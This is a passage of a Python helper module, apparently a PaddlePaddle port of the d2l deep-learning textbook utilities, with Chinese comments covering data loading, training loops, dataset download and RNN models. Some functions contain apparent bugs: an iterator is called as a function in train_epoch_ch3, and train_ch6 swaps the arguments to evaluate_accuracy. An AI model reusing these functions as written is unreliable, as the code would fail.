'ankle boot']\n    return [text_labels[int(i)] for i in labels]\n\ndef show_images(imgs, num_rows, num_cols, titles=None, scale=1.5):\n    \"\"\"Plot a list of images.\"\"\"\n    figsize = (num_cols * scale, num_rows * scale)\n    _, axes = plt.subplots(num_rows, num_cols, figsize=figsize)\n    axes = axes.flatten()\n    for i, (ax, img) in enumerate(zip(axes, imgs)):\n        if paddle.is_tensor(img):\n            # \u56fe\u7247\u5f20\u91cf\n            ax.imshow(img.numpy())\n        else:\n            # PIL\u56fe\u7247\n            ax.imshow(img)\n        ax.axes.get_xaxis().set_visible(False)\n        ax.axes.get_yaxis().set_visible(False)\n        if titles:\n            ax.set_title(titles[i])\n    return axes\n\ndef get_dataloader_workers():\n    \"\"\"\u4f7f\u75284\u4e2a\u8fdb\u7a0b\u6765\u8bfb\u53d6\u6570\u636e\u3002\"\"\"\n    return 4\n\ndef load_data_fashion_mnist(batch_size, resize=None):  #@save\n    \"\"\"\u4e0b\u8f7dFashion-MNIST\u6570\u636e\u96c6\uff0c\u7136\u540e\u5c06\u5176\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\"\"\"\n    trans = [transforms.ToTensor()]\n    if resize:\n        trans.insert(0, transforms.Resize(resize))\n    trans = transforms.Compose(trans)\n    mnist_train = paddle.vision.datasets.FashionMNIST(mode=\"train\", transform=trans)\n    mnist_test = paddle.vision.datasets.FashionMNIST(mode=\"test\", transform=trans)\n    return (paddle.io.DataLoader(dataset=mnist_train,\n                                  batch_size=batch_size,\n                                  shuffle=True,\n                                  num_workers=get_dataloader_workers()),\n            paddle.io.DataLoader(dataset=mnist_test,\n                                  batch_size=batch_size,\n                                  shuffle=True,\n                                  num_workers=get_dataloader_workers()))\n\n\"\"\"3.6\"\"\"\ndef accuracy(y_hat, y):  #@save\n    \"\"\"\u8ba1\u7b97\u9884\u6d4b\u6b63\u786e\u7684\u6570\u91cf\"\"\"\n    if len(y_hat.shape) > 1 and y_hat.shape[1] > 1:\n        y_hat = y_hat.argmax(axis=1)\n    \"\"\"\n    \u4e3a\u4e86\u9632\u6b62\u51fa\u73b0y_hat.shape=[batch_size]\u800cy.shape=[batch_size,1]\u7684\u95ee\u9898\u5bfc\u81f4\u5224\u65ad\u76f8\u7b49\u9519\u8bef\n    \"\"\"\n    if len(y_hat.shape) < len(y.shape):\n        cmp = y_hat.astype(y.dtype) == y.squeeze()\n    else:\n        cmp = y_hat.astype(y.dtype) == y\n    return float(cmp.astype(y.dtype).sum())\n\ndef evaluate_accuracy(net, data_iter):  #@save\n    \"\"\"\u8ba1\u7b97\u5728\u6307\u5b9a\u6570\u636e\u96c6\u4e0a\u6a21\u578b\u7684\u7cbe\u5ea6\"\"\"\n    if isinstance(net, paddle.nn.Layer):\n        net.eval()  # \u5c06\u6a21\u578b\u8bbe\u7f6e\u4e3a\u8bc4\u4f30\u6a21\u5f0f\n    metric = Accumulator(2)  # \u6b63\u786e\u9884\u6d4b\u6570\u3001\u9884\u6d4b\u603b\u6570\n    with paddle.no_grad():\n        for X, y in data_iter:\n            metric.add(accuracy(net(X), y), y.numel())\n    return metric[0] / metric[1]\n\nclass Accumulator:  #@save\n    \"\"\"\u5728n\u4e2a\u53d8\u91cf\u4e0a\u7d2f\u52a0\"\"\"\n    def __init__(self, n):\n        self.data = [0.0] * n\n\n    def add(self, *args):\n        self.data = [a + float(b) for a, b in zip(self.data, args)]\n\n    def reset(self):\n        self.data = [0.0] * len(self.data)\n\n    def __getitem__(self, idx):\n        return self.data[idx]\n\n\ndef train_epoch_ch3(net, train_iter, loss, updater):  # @save\n    \"\"\"\u8bad\u7ec3\u6a21\u578b\u4e00\u4e2a\u8fed\u4ee3\u5468\u671f\uff08\u5b9a\u4e49\u89c1\u7b2c3\u7ae0\uff09\"\"\"\n    # \u5c06\u6a21\u578b\u8bbe\u7f6e\u4e3a\u8bad\u7ec3\u6a21\u5f0f\n    if isinstance(net, paddle.nn.Layer):\n        net.train()\n    # \u8bad\u7ec3\u635f\u5931\u603b\u548c\u3001\u8bad\u7ec3\u51c6\u786e\u5ea6\u603b\u548c\u3001\u6837\u672c\u6570\n    metric = Accumulator(3)\n\n    for X, y in train_iter():\n        # \u8ba1\u7b97\u68af\u5ea6\u5e76\u66f4\u65b0\u53c2\u6570\n        y_hat = net(X)\n        l = loss(y_hat, y)\n\n        if isinstance(updater, paddle.optimizer.Optimizer):\n            # \u4f7f\u7528paddle\u5185\u7f6e\u7684\u4f18\u5316\u5668\u548c\u635f\u5931\u51fd\u6570\n            updater.clear_grad()\n            l.mean().backward()\n            updater.step()\n        else:\n            # \u4f7f\u7528\u5b9a\u5236\u7684\u4f18\u5316\u5668\u548c\u635f\u5931\u51fd\u6570\n            l.sum().backward()\n            updater(X.shape[0])\n\n        metric.add(float(l.sum()), accuracy(y_hat, y), y.numel())\n    return metric[0] / metric[2], metric[1] / metric[2]\n\nclass Animator:  #@save\n    \"\"\"\u5728\u52a8\u753b\u4e2d\u7ed8\u5236\u6570\u636e\"\"\"\n    def __init__(self, xlabel=None, ylabel=None, legend=None, xlim=None,\n                 ylim=None, xscale='linear', yscale='linear',\n                 fmts=('-', 'm--', 'g-.', 'r:'), nrows=1, ncols=1,\n                 figsize=(3.5, 2.5)):\n        # \u589e\u91cf\u5730\u7ed8\u5236\u591a\u6761\u7ebf\n        if legend is None:\n            legend = []\n        d2l.use_svg_display()\n        self.fig, self.axes = d2l.plt.subplots(nrows, ncols, figsize=figsize)\n        if nrows * ncols == 1:\n            self.axes = [self.axes, ]\n        # \u4f7f\u7528lambda\u51fd\u6570\u6355\u83b7\u53c2\u6570\n        self.config_axes = lambda: d2l.set_axes(\n            self.axes[0], xlabel, ylabel, xlim, ylim, xscale, yscale, legend)\n        self.X, self.Y, self.fmts = None, None, fmts\n\n    def add(self, x, y):\n        # \u5411\u56fe\u8868\u4e2d\u6dfb\u52a0\u591a\u4e2a\u6570\u636e\u70b9\n        if not hasattr(y, \"__len__\"):\n            y = [y]\n        n = len(y)\n        if not hasattr(x, \"__len__\"):\n            x = [x] * n\n        if not self.X:\n            self.X = [[] for _ in range(n)]\n        if not self.Y:\n            self.Y = [[] for _ in range(n)]\n        for i, (a, b) in enumerate(zip(x, y)):\n            if a is not None and b is not None:\n                self.X[i].append(a)\n                self.Y[i].append(b)\n        self.axes[0].cla()\n        for x, y, fmt in zip(self.X, self.Y, self.fmts):\n            self.axes[0].plot(x, y, fmt)\n        self.config_axes()\n        display.display(self.fig)\n        display.clear_output(wait=True)\n\ndef train_ch3(net, train_iter, test_iter, loss, num_epochs, updater):  #@save\n    \"\"\"\u8bad\u7ec3\u6a21\u578b\uff08\u5b9a\u4e49\u89c1\u7b2c3\u7ae0\uff09\"\"\"\n    animator = Animator(xlabel='epoch', xlim=[1, num_epochs], ylim=[0.3, 0.9],\n                        legend=['train loss', 'train acc', 'test acc'])\n    for epoch in range(num_epochs):\n        train_metrics = train_epoch_ch3(net, train_iter, loss, updater)\n        test_acc = evaluate_accuracy(net, test_iter)\n        animator.add(epoch + 1, train_metrics + (test_acc,))\n    train_loss, train_acc = train_metrics\n    assert train_loss < 0.5, train_loss\n    assert train_acc <= 1 and train_acc > 0.7, train_acc\n    assert test_acc <= 1 and test_acc > 0.7, test_acc\n\ndef predict_ch3(net, test_iter, n=6):  #@save\n    \"\"\"\u9884\u6d4b\u6807\u7b7e\uff08\u5b9a\u4e49\u89c1\u7b2c3\u7ae0\uff09\"\"\"\n    for X, y in test_iter:\n        break\n    trues = d2l.get_fashion_mnist_labels(y)\n    preds = d2l.get_fashion_mnist_labels(net(X).argmax(axis=1))\n    titles = [true +'\\n' + pred for true, pred in zip(trues, preds)]\n    d2l.show_images(\n        X[0:n].reshape((n, 28, 28)), 1, n, titles=titles[0:n])\n\n\"\"\"4.4\"\"\"\ndef evaluate_loss(net, data_iter, loss):  #@save\n    \"\"\"\u8bc4\u4f30\u7ed9\u5b9a\u6570\u636e\u96c6\u4e0a\u6a21\u578b\u7684\u635f\u5931\u3002\"\"\"\n    metric = d2l.Accumulator(2)  # \u635f\u5931\u7684\u603b\u548c, \u6837\u672c\u6570\u91cf\n    for X, y in data_iter:\n        out = net(X)\n        y = y.reshape(out.shape)\n        l = loss(out, y)\n        metric.add(l.sum(), l.numel())\n    return metric[0] / metric[1]\n\n\"\"\"4.10\"\"\"\nDATA_HUB = dict()\nDATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'\n\ndef download(name, cache_dir=os.path.join('./', 'data')):  #@save\n    \"\"\"\u4e0b\u8f7d\u4e00\u4e2aDATA_HUB\u4e2d\u7684\u6587\u4ef6\uff0c\u8fd4\u56de\u672c\u5730\u6587\u4ef6\u540d\"\"\"\n    assert name in DATA_HUB, f\"{name} \u4e0d\u5b58\u5728\u4e8e {DATA_HUB}\"\n    url, sha1_hash = DATA_HUB[name]\n    os.makedirs(cache_dir, exist_ok=True)\n    fname = os.path.join(cache_dir, url.split('/')[-1])\n    if os.path.exists(fname):\n        sha1 = hashlib.sha1()\n        with open(fname, 'rb') as f:\n            while True:\n                data = f.read(1048576)\n                if not data:\n                    break\n                sha1.update(data)\n        if sha1.hexdigest() == sha1_hash:\n            return fname  # \u547d\u4e2d\u7f13\u5b58\n    print(f'\u6b63\u5728\u4ece{url}\u4e0b\u8f7d{fname}...')\n    r = requests.get(url, stream=True, verify=True)\n    with open(fname, 'wb') as f:\n        f.write(r.content)\n    return fname\n\ndef download_extract(name, folder=None):  #@save\n    \"\"\"\u4e0b\u8f7d\u5e76\u89e3\u538bzip/tar\u6587\u4ef6\"\"\"\n    fname = download(name)\n    base_dir = os.path.dirname(fname)\n    data_dir, ext = os.path.splitext(fname)\n    if ext == '.zip':\n        fp = zipfile.ZipFile(fname, 'r')\n    elif ext in ('.tar', '.gz'):\n        fp = tarfile.open(fname, 'r')\n    else:\n        assert False, '\u53ea\u6709zip/tar\u6587\u4ef6\u53ef\u4ee5\u88ab\u89e3\u538b\u7f29'\n    fp.extractall(base_dir)\n    return os.path.join(base_dir, folder) if folder else data_dir\n\ndef download_all():  #@save\n    \"\"\"\u4e0b\u8f7dDATA_HUB\u4e2d\u7684\u6240\u6709\u6587\u4ef6\"\"\"\n    for name in DATA_HUB:\n        download(name)\n\nDATA_HUB['kaggle_house_train'] = (  #@save\n    DATA_URL + 'kaggle_house_pred_train.csv',\n    '585e9cc93e70b39160e7921475f9bcd7d31219ce')\n\nDATA_HUB['kaggle_house_test'] = (  #@save\n    DATA_URL + 'kaggle_house_pred_test.csv',\n    'fa19780a7b011d9b009e8bff8e99922a8ee2eb90')\n\n\"\"\"5.6\"\"\"\n#\u4fee\u65395.6\u51fd\u6570\uff082022.1.21\u65e5\uff09 \u6682\u65f6\u53ef\u80fd\u53ea\u80fd\u5904\u7406\u6309\u987a\u5e8f\u7684\u591aGPU\u5361\u60c5\u51b5\uff08\u6bd4\u5982gpu:0 gpu:1 gpu:2 ......\uff09\ndef try_gpu(i=0):  #@save\n    \"\"\"\u5982\u679c\u5b58\u5728\uff0c\u5219\u8fd4\u56degpu(i)\uff0c\u5426\u5219\u8fd4\u56decpu()\u3002\"\"\"\n    if paddle.device.cuda.device_count() >= i + 1:\n        return paddle.CUDAPlace(i)\n    return paddle.CPUPlace()\n\ndef try_all_gpus():  #@save\n    \"\"\"\u8fd4\u56de\u6240\u6709\u53ef\u7528\u7684GPU\uff0c\u5982\u679c\u6ca1\u6709GPU\uff0c\u5219\u8fd4\u56de[cpu(),]\u3002\"\"\"\n    devices = [paddle.CUDAPlace(i)\n               for i in range(paddle.device.cuda.device_count())\n               ]\n    return devices if devices else paddle.CPUPlace()\n\n\"\"\"6.2\"\"\"\ndef corr2d(X, K):\n    \"\"\"\u8ba1\u7b97\u4e8c\u7ef4\u4e92\u76f8\u5173\u8fd0\u7b97\u3002\"\"\"\n    h, w = K.shape\n    Y = paddle.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))\n    for i in range(Y.shape[0]):\n        for j in range(Y.shape[1]):\n            Y[i, j] = (X[i:i + h, j:j + w] * K).sum()\n    return Y\n\n\"\"\"6.6\"\"\"\ndef evaluate_accuracy_gpu(net, data_iter, device=None):     #@save\n    \"\"\"\u4f7f\u7528GPU\u8ba1\u7b97\u6a21\u578b\u5728\u6570\u636e\u96c6\u4e0a\u7684\u7cbe\u5ea6\n    Defined in :numref:`sec_lenet`\"\"\"\n    if isinstance(net, nn.Layer):\n        net.eval()  # \u8bbe\u7f6e\u4e3a\u8bc4\u4f30\u6a21\u5f0f\n        if not device:\n            device = next(iter(net.parameters())).place\n    # \u6b63\u786e\u9884\u6d4b\u7684\u6570\u91cf\uff0c\u603b\u9884\u6d4b\u7684\u6570\u91cf\n    metric = d2l.Accumulator(2)\n    with paddle.no_grad():\n        for X, y in data_iter:\n            if isinstance(X, list):\n                # BERT\u5fae\u8c03\u6240\u9700\u7684\uff08\u4e4b\u540e\u5c06\u4ecb\u7ecd\uff09\n                X = [paddle.to_tensor(x, place=device) for x in X]\n            else:\n                X = paddle.to_tensor(X, place=device)\n            y = paddle.to_tensor(y, place=device)\n            metric.add(d2l.accuracy(net(X), y), d2l.size(y))\n    return metric[0] / metric[1]\n\ndef train_ch6(net, train_iter, test_iter, batch_size, optimi, num_epochs):\n\n    loss = nn.CrossEntropyLoss()\n    batch_count = 0\n    for epoch in range(num_epochs):\n        train_l_sum, train_acc_sum, n, start = 0.0, 0.0, 0, time.time()\n        for idx, (X, y) in enumerate(train_iter):\n            y_hat = net(X)\n            l = loss(y_hat, y)\n            optimi.clear_grad()\n            l.backward()\n            optimi.step()\n            train_l_sum += l.numpy()[0]\n            train_acc_sum += (y_hat.argmax(axis=1) == y.flatten()).astype('float32').sum().numpy()[0]\n            n += y.shape[0]\n            batch_count += 1\n        test_acc = evaluate_accuracy(test_iter, net)\n        print('epoch %d, loss %.4f, train acc %.3f, test acc %.3f, time %.1f sec'\n              % (epoch + 1, train_l_sum / batch_count, train_acc_sum / n, test_acc, time.time() - start))\n\n\"\"\"7.6\"\"\"\nclass Residual(nn.Layer):\n    def __init__(self, input_channels, num_channels, use_1x1conv=False,\n                 strides=1):\n        super(Residual, self).__init__()\n        self.conv1 = nn.Conv2D(input_channels, num_channels, kernel_size=3,\n                               padding=1, stride=strides)\n        self.conv2 = nn.Conv2D(num_channels, num_channels, kernel_size=3,\n                               padding=1)\n        if use_1x1conv:\n            self.conv3 = nn.Conv2D(input_channels, num_channels,\n                                   kernel_size=1, stride=strides)\n        else:\n            self.conv3 = None\n        self.bn1 = nn.BatchNorm2D(num_channels)\n        self.bn2 = nn.BatchNorm2D(num_channels)\n        self.relu = nn.ReLU()\n\n    def forward(self, X):\n        Y = F.relu(self.bn1(self.conv1(X)))\n        Y = self.bn2(self.conv2(Y))\n        if self.conv3:\n            X = self.conv3(X)\n        Y += X\n        return F.relu(Y)\n\n\"\"\"8.2\"\"\"\nd2l.DATA_HUB['time_machine'] = (d2l.DATA_URL + 'timemachine.txt',\n                                '090b5e7e70c295757f55df93cb0a180b9691891a')\n\ndef read_time_machine():\n    \"\"\"\u5c06\u65f6\u95f4\u673a\u5668\u6570\u636e\u96c6\u52a0\u8f7d\u5230\u6587\u672c\u884c\u7684\u5217\u8868\u4e2d\n    Defined in :numref:`sec_text_preprocessing`\"\"\"\n    with open(d2l.download('time_machine'), 'r') as f:\n        lines = f.readlines()\n    return [re.sub('[^A-Za-z]+', ' ', line).strip().lower() for line in lines]\n\ndef tokenize(lines, token='word'):\n    \"\"\"\u5c06\u6587\u672c\u884c\u62c6\u5206\u4e3a\u5355\u8bcd\u6216\u5b57\u7b26\u8bcd\u5143\n    Defined in :numref:`sec_text_preprocessing`\"\"\"\n    if token == 'word':\n        return [line.split() for line in lines]\n    elif token == 'char':\n        return [list(line) for line in lines]\n    else:\n        print('\u9519\u8bef\uff1a\u672a\u77e5\u8bcd\u5143\u7c7b\u578b\uff1a' + token)\n\nclass Vocab:\n    \"\"\"\u6587\u672c\u8bcd\u8868\"\"\"\n    def __init__(self, tokens=None, min_freq=0, reserved_tokens=None):\n        \"\"\"Defined in :numref:`sec_text_preprocessing`\"\"\"\n        if tokens is None:\n            tokens = []\n        if reserved_tokens is None:\n            reserved_tokens = []\n        # \u6309\u51fa\u73b0\u9891\u7387\u6392\u5e8f\n        counter = count_corpus(tokens)\n        self._token_freqs = sorted(counter.items(), key=lambda x: x[1],\n                                   reverse=True)\n        # \u672a\u77e5\u8bcd\u5143\u7684\u7d22\u5f15\u4e3a0\n        self.idx_to_token = ['<unk>'] + reserved_tokens\n        self.token_to_idx = {token: idx\n                             for idx, token in enumerate(self.idx_to_token)}\n        for token, freq in self._token_freqs:\n            if freq < min_freq:\n                break\n            if token not in self.token_to_idx:\n                self.idx_to_token.append(token)\n                self.token_to_idx[token] = len(self.idx_to_token) - 1\n\n    def __len__(self):\n        return len(self.idx_to_token)\n\n    def __getitem__(self, tokens):\n        if not isinstance(tokens, (list, tuple)):\n            return self.token_to_idx.get(tokens, self.unk)\n        return [self.__getitem__(token) for token in tokens]\n\n    def to_tokens(self, indices):\n        if not isinstance(indices, (list, tuple)):\n            return self.idx_to_token[indices]\n        return [self.idx_to_token[index] for index in indices]\n\n    @property\n    def unk(self):  # \u672a\u77e5\u8bcd\u5143\u7684\u7d22\u5f15\u4e3a0\n        return 0\n\n    @property\n    def token_freqs(self):\n        return self._token_freqs\n\ndef count_corpus(tokens):\n    \"\"\"\u7edf\u8ba1\u8bcd\u5143\u7684\u9891\u7387\n    Defined in :numref:`sec_text_preprocessing`\"\"\"\n    # \u8fd9\u91cc\u7684`tokens`\u662f1D\u5217\u8868\u62162D\u5217\u8868\n    if len(tokens) == 0 or isinstance(tokens[0], list):\n        # \u5c06\u8bcd\u5143\u5217\u8868\u5c55\u5e73\u6210\u4e00\u4e2a\u5217\u8868\n        tokens = [token for line in tokens for token in line]\n    return collections.Counter(tokens)\n\ndef load_corpus_time_machine(max_tokens=-1):\n    \"\"\"\u8fd4\u56de\u65f6\u5149\u673a\u5668\u6570\u636e\u96c6\u7684\u8bcd\u5143\u7d22\u5f15\u5217\u8868\u548c\u8bcd\u8868\n    Defined in :numref:`sec_text_preprocessing`\"\"\"\n    lines = read_time_machine()\n    tokens = tokenize(lines, 'char')\n    vocab = Vocab(tokens)\n    # \u56e0\u4e3a\u65f6\u5149\u673a\u5668\u6570\u636e\u96c6\u4e2d\u7684\u6bcf\u4e2a\u6587\u672c\u884c\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e2a\u53e5\u5b50\u6216\u4e00\u4e2a\u6bb5\u843d\uff0c\n    # \u6240\u4ee5\u5c06\u6240\u6709\u6587\u672c\u884c\u5c55\u5e73\u5230\u4e00\u4e2a\u5217\u8868\u4e2d\n    corpus = [vocab[token] for line in tokens for token in line]\n    if max_tokens > 0:\n        corpus = corpus[:max_tokens]\n    return corpus, vocab\n\n\"\"\"8.3\"\"\"\ndef seq_data_iter_random(corpus, batch_size, num_steps):\n    \"\"\"\u4f7f\u7528\u968f\u673a\u62bd\u6837\u751f\u6210\u4e00\u4e2a\u5c0f\u6279\u91cf\u5b50\u5e8f\u5217\n    Defined in :numref:`sec_language_model`\"\"\"\n    # \u4ece\u968f\u673a\u504f\u79fb\u91cf\u5f00\u59cb\u5bf9\u5e8f\u5217\u8fdb\u884c\u5206\u533a\uff0c\u968f\u673a\u8303\u56f4\u5305\u62ec`num_steps-1`\n    corpus = corpus[random.randint(0, num_steps - 1):]\n    # \u51cf\u53bb1\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u9700\u8981\u8003\u8651\u6807\u7b7e\n    num_subseqs = (len(corpus) - 1) // num_steps\n    # \u957f\u5ea6\u4e3a`num_steps`\u7684\u5b50\u5e8f\u5217\u7684\u8d77\u59cb\u7d22\u5f15\n    initial_indices = list(range(0, num_subseqs * num_steps, num_steps))\n    # \u5728\u968f\u673a\u62bd\u6837\u7684\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\uff0c\n    # \u6765\u81ea\u4e24\u4e2a\u76f8\u90bb\u7684\u3001\u968f\u673a\u7684\u3001\u5c0f\u6279\u91cf\u4e2d\u7684\u5b50\u5e8f\u5217\u4e0d\u4e00\u5b9a\u5728\u539f\u59cb\u5e8f\u5217\u4e0a\u76f8\u90bb\n    random.shuffle(initial_indices)\n\n    def data(pos):\n        # \u8fd4\u56de\u4ece`pos`\u4f4d\u7f6e\u5f00\u59cb\u7684\u957f\u5ea6\u4e3a`num_steps`\u7684\u5e8f\u5217\n        return corpus[pos: pos + num_steps]\n\n    num_batches = num_subseqs // batch_size\n    for i in range(0, batch_size * num_batches, batch_size):\n        # \u5728\u8fd9\u91cc\uff0c`initial_indices`\u5305\u542b\u5b50\u5e8f\u5217\u7684\u968f\u673a\u8d77\u59cb\u7d22\u5f15\n        initial_indices_per_batch = initial_indices[i: i + batch_size]\n        X = [data(j) for j in initial_indices_per_batch]\n        Y = [data(j + 1) for j in initial_indices_per_batch]\n        yield d2l.tensor(X), d2l.tensor(Y)\n\ndef seq_data_iter_sequential(corpus, batch_size, num_steps):\n    \"\"\"\u4f7f\u7528\u987a\u5e8f\u5206\u533a\u751f\u6210\u4e00\u4e2a\u5c0f\u6279\u91cf\u5b50\u5e8f\u5217\n    Defined in :numref:`sec_language_model`\"\"\"\n    # \u4ece\u968f\u673a\u504f\u79fb\u91cf\u5f00\u59cb\u5212\u5206\u5e8f\u5217\n    offset = random.randint(0, num_steps)\n    num_tokens = ((len(corpus) - offset - 1) // batch_size) * batch_size\n    Xs = d2l.tensor(corpus[offset: offset + num_tokens])\n    Ys = d2l.tensor(corpus[offset + 1: offset + 1 + num_tokens])\n    Xs, Ys = Xs.reshape((batch_size, -1)), Ys.reshape((batch_size, -1))\n    num_batches = Xs.shape[1] // num_steps\n    for i in range(0, num_steps * num_batches, num_steps):\n        X = Xs[:, i: i + num_steps]\n        Y = Ys[:, i: i + num_steps]\n        yield X, Y\n\nclass SeqDataLoader:\n    \"\"\"\u52a0\u8f7d\u5e8f\u5217\u6570\u636e\u7684\u8fed\u4ee3\u5668\"\"\"\n    def __init__(self, batch_size, num_steps, use_random_iter, max_tokens):\n        \"\"\"Defined in :numref:`sec_language_model`\"\"\"\n        if use_random_iter:\n            self.data_iter_fn = d2l.seq_data_iter_random\n        else:\n            self.data_iter_fn = d2l.seq_data_iter_sequential\n        self.corpus, self.vocab = d2l.load_corpus_time_machine(max_tokens)\n        self.batch_size, self.num_steps = batch_size, num_steps\n\n    def __iter__(self):\n        return self.data_iter_fn(self.corpus, self.batch_size, self.num_steps)\n\ndef load_data_time_machine(batch_size, num_steps,\n                           use_random_iter=False, max_tokens=10000):\n    \"\"\"\u8fd4\u56de\u65f6\u5149\u673a\u5668\u6570\u636e\u96c6\u7684\u8fed\u4ee3\u5668\u548c\u8bcd\u8868\n    Defined in :numref:`sec_language_model`\"\"\"\n    data_iter = SeqDataLoader(\n        batch_size, num_steps, use_random_iter, max_tokens)\n    return data_iter, data_iter.vocab\n\n\"\"\"8.5\"\"\"\nclass RNNModelScratch: #@save\n    \"\"\"\u4ece\u96f6\u5f00\u59cb\u5b9e\u73b0\u7684\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\"\"\"\n    def __init__(self, vocab_size, num_hiddens,\n                 get_params, init_state, forward_fn):\n        self.vocab_size, self.num_hiddens = vocab_size, num_hiddens\n        self.params = get_params(vocab_size, num_hiddens)\n        self.init_state, self.forward_fn = init_state, forward_fn\n\n    def __call__(self, X, state):\n        X = F.one_hot(X.T, self.vocab_size)\n        return self.forward_fn(X, state, self.params)\n\n    def begin_state(self, batch_size):\n        return self.init_state(batch_size, self.num_hiddens)\n\ndef grad_clipping(net, theta):#@save\n    \"\"\"\u88c1\u526a\u68af\u5ea6\n\n    Defined in :numref:`sec_rnn_scratch`\"\"\"\n    if isinstance(net, nn.Layer):\n        params = [p for p in net.parameters() if not p.stop_gradient]\n    else:\n        params = net.params\n    norm = paddle.sqrt(sum(paddle.sum((p.grad ** 2)) for p in params))\n    if norm > theta:\n        for param in params:\n            param.grad.set_value(param.grad * theta / norm)\n\ndef predict_ch8(prefix, num_preds, net, vocab, device):  #@save\n    \"\"\"\u5728prefix\u540e\u9762\u751f\u6210\u65b0\u5b57\u7b26\"\"\"\n    state = net.begin_state(batch_size=1)\n    outputs = [vocab[prefix[0]]]\n    get_input = lambda: d2l.reshape(d2l.tensor(outputs[-1], place=device), (1, 1))\n    for y in prefix[1:]:  # \u9884\u70ed\u671f\n        _, state = net(get_input(), state)\n        outputs.append(vocab[y])\n    for _ in range(num_preds):  # \u9884\u6d4bnum_preds\u6b65\n        y, state = net(get_input(), state)\n        outputs.append(int(paddle.reshape(paddle.argmax(y, axis=1), shape=[1])))\n    return ''.join([vocab.idx_to_token[i] for i in outputs])\n\n#@save\ndef train_epoch_ch8(net, train_iter, loss, updater, device, use_random_iter):\n    \"\"\"\u8bad\u7ec3\u7f51\u7edc\u4e00\u4e2a\u8fed\u4ee3\u5468\u671f\uff08\u5b9a\u4e49\u89c1\u7b2c8\u7ae0\uff09\n    Defined in :numref:`sec_rnn_scratch`\"\"\"\n    state, timer = None, d2l.Timer()\n    metric = d2l.Accumulator(2)  # \u8bad\u7ec3\u635f\u5931\u4e4b\u548c,\u8bcd\u5143\u6570\u91cf\n    for X, Y in train_iter:\n        if state is None or use_random_iter:\n            # \u5728\u7b2c\u4e00\u6b21\u8fed\u4ee3\u6216\u4f7f\u7528\u968f\u673a\u62bd\u6837\u65f6\u521d\u59cb\u5316`state`\n            state = net.begin_state(batch_size=X.shape[0])\n        else:\n            if isinstance(net, nn.Layer) and not isinstance(state, tuple):\n                # `state`\u5bf9\u4e8e`nn.GRU`\u662f\u4e2a\u5f20\u91cf\n                state.stop_gradient=True\n            else:\n                # `state`\u5bf9\u4e8e`nn.LSTM`\u6216\u5bf9\u4e8e\u6211\u4eec\u4ece\u96f6\u5f00\u59cb\u5b9e\u73b0\u7684\u6a21\u578b\u662f\u4e2a\u5f20\u91cf\n                for s in state:\n                    s.stop_gradient=True\n        y = paddle.reshape(Y.T, shape=[-1])\n        X = paddle.to_tensor(X, place=device)\n        y = paddle.to_tensor(y, place=device)\n        y_hat, state = net(X, state)\n        l = loss(y_hat, y).mean()\n        if isinstance(updater, paddle.optimizer.Optimizer):\n            updater.clear_grad()\n            l.backward()\n            updater.step()\n        else:\n            l.backward()\n            grad_clipping(net, 1)\n            # \u56e0\u4e3a\u5df2\u7ecf\u8c03\u7528\u4e86`mean`\u51fd\u6570\n            net.params = updater(batch_size=1)\n        metric.add(l * d2l.size(y), d2l.size(y))\n    return math.exp(metric[0] / metric[1]), metric[1] / timer.stop()\n\n\n#@save\ndef train_ch8(net, train_iter, vocab, lr, num_epochs, device, use_random_iter=False):\n    \"\"\"\u8bad\u7ec3\u6a21\u578b\uff08\u5b9a\u4e49\u89c1\u7b2c8\u7ae0\uff09\"\"\"\n    loss = nn.CrossEntropyLoss()\n    animator = d2l.Animator(xlabel='epoch', ylabel='perplexity',\n                            legend=['train'], xlim=[10, num_epochs])\n    # \u521d\u59cb\u5316\n    if isinstance(net, nn.Layer):\n        clip = paddle.nn.ClipGradByNorm(clip_norm=1.0)\n        updater = paddle.optimizer.SGD(\n                learning_rate=lr, parameters=net.parameters(), grad_clip=clip)\n    else:\n        updater = lambda batch_size: d2l.sgd(net.params, lr, batch_size)\n    predict = lambda prefix: predict_ch8(prefix, 50, net, vocab, device)\n    # \u8bad\u7ec3\u548c\u9884\u6d4b\n    for epoch in range(num_epochs):\n        ppl, speed = train_epoch_ch8(\n            net, train_iter, loss, updater, device, use_random_iter)\n        if (epoch + 1) % 10 == 0:\n            print(predict('time traveller'))\n            animator.add(epoch + 1, [ppl])\n    print(f'\u56f0\u60d1\u5ea6 {ppl:.1f}, {speed:.1f} \u8bcd\u5143/\u79d2 {str(device)}')\n    print(predict('time traveller'))\n    print(predict('traveller'))\n\n\"\"\"8.6\"\"\"\nclass RNNModel(nn.Layer):   #@save\n    \"\"\"\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\"\"\"\n    def __init__(self, rnn_layer, vocab_size, **kwargs):\n        super(RNNModel, self).__init__(**kwargs)\n        self.rnn = rnn_layer\n        self.vocab_size = vocab_size\n        self.num_hiddens = self.rnn.hidden_size\n        # \u5982\u679cRNN\u662f\u53cc\u5411\u7684\uff08\u4e4b\u540e\u5c06\u4ecb\u7ecd\uff09\uff0cnum_directions\u5e94\u8be5\u662f2\uff0c\u5426\u5219\u5e94\u8be5\u662f1\n        if self.rnn.num_directions==1:\n            self.num_directions = 1\n            self.linear = nn.Linear(self.num_hiddens, self.vocab_size)\n        else:\n            self.num_directions = 2\n            self.linear = nn.Linear(self.num_hiddens * 2, self.vocab_size)\n\n    def forward(self, inputs, state):\n        X = F.one_hot(inputs.T, self.vocab_size) # paddle\u76f8\u6bd4torch\uff0c\u8fd9\u91cc\u65e0\u9700\u518d\u7c7b\u578b\u8f6c\u6362\n        Y, state = self.rnn(X, state)\n        # \u5168\u8fde\u63a5\u5c42\u9996\u5148\u5c06Y\u7684\u5f62\u72b6\u6539\u4e3a(\u65f6\u95f4\u6b65\u6570*\u6279\u91cf\u5927\u5c0f,\u9690\u85cf\u5355\u5143\u6570)\n        # \u5b83\u7684\u8f93\u51fa\u5f62\u72b6\u662f(\u65f6\u95f4\u6b65\u6570*\u6279\u91cf\u5927\u5c0f,\u8bcd\u8868\u5927\u5c0f)\u3002\n        output = self.linear(Y.reshape((-1, Y.shape[-1])))\n        return output, state\n\n    def begin_state(self, batch_size=1):\n        if not isinstance(self.rnn, nn.LSTM):\n            # 